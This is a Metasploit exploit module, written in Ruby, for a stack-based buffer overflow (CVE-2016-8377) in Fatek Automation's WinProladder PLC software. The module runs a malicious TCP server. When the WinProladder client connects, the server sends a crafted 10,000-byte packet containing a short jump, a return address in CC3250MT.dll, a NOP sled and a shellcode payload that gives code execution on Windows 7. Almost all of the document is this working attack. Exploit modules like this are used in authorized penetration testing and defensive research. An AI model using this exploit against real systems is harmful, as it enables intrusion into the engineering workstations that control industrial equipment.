require 'msf/core'
 
class MetasploitModule < Msf::Exploit::Remote
    Rank = GreatRanking
 
    include Msf::Exploit::Remote::TcpServer
 
    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Fatek Automation PLC WinProladder Stack-based Buffer Overflow',
            'Description'    => %q{
                This module exploits a stack based buffer overflow found in Fatek Automation
                PLC WinProladder v3.11 Build 14701. The vulnerability is triggered when a client
                connects to a listening server. The client does not properly sanitize the length
                of the received input prior to placing it on the stack.
            },
            'Author'         => [ 'james fitts' ],
            'License'        => MSF_LICENSE,
            'References'     =>
                [
                    [ 'ZDI', '16-672' ],
                    [ 'CVE', '2016-8377' ],
                    [ 'URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-16-350-01' ]
                ],
            'Privileged'     => false,
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'process',
                },
            'Payload'        =>
                {
                    'Space'    => 1000,
                    'BadChars' => "\x00\x0a\x0d\x20",
                    'StackAdjustment' => -3500
                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                    [
                        'Windows 7 EN', 
                            {
                                # CC3250MT.dll
                                # pop ecx/ pop ebp/ retn
                                'Ret' => 0x32514d79
                            } 
                    ],
                ],
            'DefaultTarget' => 0,
            'DisclosureDate' => 'Dec 15 2016'))
 
        register_options(
            [
                OptPort.new('SRVPORT', [ true, "The port to listen on", 500])
            ], self.class)
    end
 
    def on_client_data(client)
        p = payload.encoded
 
        pkt = "A" * 10000
        pkt[1092, 4] = [0x04eb9090].pack('V')   # jmp $+6
        pkt[1096, 4] = [target.ret].pack('V')
        pkt[1100, 50] = "\x90" * 50
        pkt[1150, p.length] = p
 
        client.put(pkt)
        handler
        service.close_client(client)
    end
 
end